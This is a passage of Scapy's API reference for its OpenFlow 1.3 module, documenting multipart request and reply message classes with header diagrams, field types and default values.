+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          QUEUE STATS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPMPReplyQueue                       


OFPMPReplyQueue fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	19



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	5



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	queue_stats

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPMPReplyTable(_pkt, /, *, version=4, type=19, len=None, xid=0, mp_type=3, flags=<Flag 0 ()>, pad1=0, table_stats=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2313-L2323]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          TABLE STATS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPMPReplyTable                       


OFPMPReplyTable fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	19



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	3



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	table_stats

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPMPReplyTableFeatures(_pkt, /, *, version=4, type=19, len=None, xid=0, mp_type=12, flags=<Flag 0 ()>, pad1=0, table_features=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2916-L2926]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         TABLE FEATURES        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. OFPMPReplyTableFeatures                   


OFPMPReplyTableFeatures fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	19



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	12



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	table_features

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPMPRequestAggregate(_pkt, /, *, version=4, type=18, len=None, xid=0, mp_type=2, flags=<Flag 0 ()>, pad1=0, table_id=255, pad2=0, out_port=4294967295, out_group=4294967295, pad3=0, cookie=0, cookie_mask=0, match=<OFPMatch  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2270-L2272]

	Bases: OFPMPRequestFlow


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    TABLE ID   |                      PAD2                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    OUT PORT                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   OUT GROUP                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      PAD3                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     COOKIE                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                  COOKIE MASK                  |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             MATCH             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. OFPMPRequestAggregate                    


OFPMPRequestAggregate fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	18



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	2



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	table_id

	ByteEnumField

	255



	pad2

	X3BytesField

	0



	out_port

	IntEnumField

	4294967295



	out_group

	IntEnumField

	4294967295



	pad3

	IntField

	0



	cookie

	LongField

	0



	cookie_mask

	LongField

	0



	match

	MatchField

	<OFPMatch  |>















	
class scapy.contrib.openflow3.OFPMPRequestDesc(_pkt, /, *, version=4, type=18, len=None, xid=0, mp_type=0, flags=<Flag 0 ()>, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2184-L2192]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPMPRequestDesc                       


OFPMPRequestDesc fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	18



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	0



	flags

	FlagsField

	<Flag 0 ()>



	pad

	XIntField

	0















	
class scapy.contrib.openflow3.OFPMPRequestExperimenter(_pkt, /, *, version=4, type=18, len=None, xid=0, mp_type=65535, flags=<Flag 0 ()>, pad1=0, experimenter=0, exp_type=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2958-L2968]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          EXPERIMENTER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            EXP TYPE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. OFPMPRequestExperimenter                   


OFPMPRequestExperimenter fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	18



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	65535



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	experimenter

	IntField

	0



	exp_type

	IntField

	0















	
class scapy.contrib.openflow3.OFPMPRequestFlow(_pkt, /, *, version=4, type=18, len=None, xid=0, mp_type=1, flags=<Flag 0 ()>, pad1=0, table_id=255, pad2=0, out_port=4294967295, out_group=4294967295, pad3=0, cookie=0, cookie_mask=0, match=<OFPMatch  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2211-L2227]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    TABLE ID   |                      PAD2                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    OUT PORT                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   OUT GROUP                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      PAD3                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     COOKIE                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                  COOKIE MASK                  |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             MATCH             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPMPRequestFlow                       


OFPMPRequestFlow fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	18



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	1



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	table_id

	ByteEnumField

	255



	pad2

	X3BytesField

	0



	out_port

	IntEnumField

	4294967295



	out_group

	IntEnumField

	4294967295



	pad3

	IntField

	0



	cookie

	LongField

	0



	cookie_mask

	LongField

	0



	match

	MatchField

	<OFPMatch  |>















	
class scapy.contrib.openflow3.OFPMPRequestGroup(_pkt, /, *, version=4, type=18, len=None, xid=0, mp_type=6, flags=<Flag 0 ()>, pad1=0, group_id=4294967295, pad2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2414-L2424]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            GROUP ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD2                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPMPRequestGroup                      


OFPMPRequestGroup fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	18



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	6



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	group_id

	IntEnumField

	4294967295



	pad2

	XIntField

	0















	
class scapy.contrib.openflow3.OFPMPRequestGroupDesc(_pkt, /, *, version=4, type=18, len=None, xid=0, mp_type=7, flags=<Flag 0 ()>, pad1=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2467-L2475]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. OFPMPRequestGroupDesc                    


OFPMPRequestGroupDesc fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	18



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	7



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0















	
class scapy.contrib.openflow3.OFPMPRequestGroupFeatures(_pkt, /, *, version=4, type=18, len=None, xid=0, mp_type=8, flags=<Flag 0 ()>, pad1=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2507-L2515]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. OFPMPRequestGroupFeatures                  


OFPMPRequestGroupFeatures fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	18



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	8



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0















	
class scapy.contrib.openflow3.OFPMPRequestMeter(_pkt, /, *, version=4, type=18, len=None, xid=0, mp_type=9, flags=<Flag 0 ()>, pad1=0, meter_id=4294967295, pad2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2550-L2560]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            METER ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD2                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPMPRequestMeter                      


OFPMPRequestMeter fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	18



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	9



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	meter_id

	IntEnumField

	4294967295



	pad2

	XIntField

	0















	
class scapy.contrib.openflow3.OFPMPRequestMeterConfig(_pkt, /, *, version=4, type=18, len=None, xid=0, mp_type=10, flags=<Flag 0 ()>, pad1=0, meter_id=4294967295, pad2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2608-L2618]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            METER ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD2                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. OFPMPRequestMeterConfig                   


OFPMPRequestMeterConfig fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	18



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	10



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	meter_id

	IntEnumField

	4294967295



	pad2

	XIntField

	0















	
class scapy.contrib.openflow3.OFPMPRequestMeterFeatures(_pkt, /, *, version=4, type=18, len=None, xid=0, mp_type=11, flags=<Flag 0 ()>, pad1=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2649-L2657]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. OFPMPRequestMeterFeatures                  


OFPMPRequestMeterFeatures fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	18



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	11



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0















	
class scapy.contrib.openflow3.OFPMPRequestPortDesc(_pkt, /, *, version=4, type=18, len=None, xid=0, mp_type=13, flags=<Flag 0 ()>, pad1=0, port_no=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2932-L2942]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PORT NO                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. OFPMPRequestPortDesc                     


OFPMPRequestPortDesc fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	18



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	13



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	port_no

	IntEnumField

	0



	pad

	XIntField

	0















	
class scapy.contrib.openflow3.OFPMPRequestPortStats(_pkt, /, *, version=4, type=18, len=None, xid=0, mp_type=4, flags=<Flag 0 ()>, pad1=0, port_no=4294967295, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2326-L2336]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PORT NO                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. OFPMPRequestPortStats                    


OFPMPRequestPortStats fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	18



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	4



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	port_no

	IntEnumField

	4294967295



	pad

	XIntField

	0















	
class scapy.contrib.openflow3.OFPMPRequestQueue(_pkt, /, *, version=4, type=18, len=None, xid=0, mp_type=5, flags=<Flag 0 ()>, pad1=0, port_no=4294967295, queue_id=4294967295)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2374-L2384]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
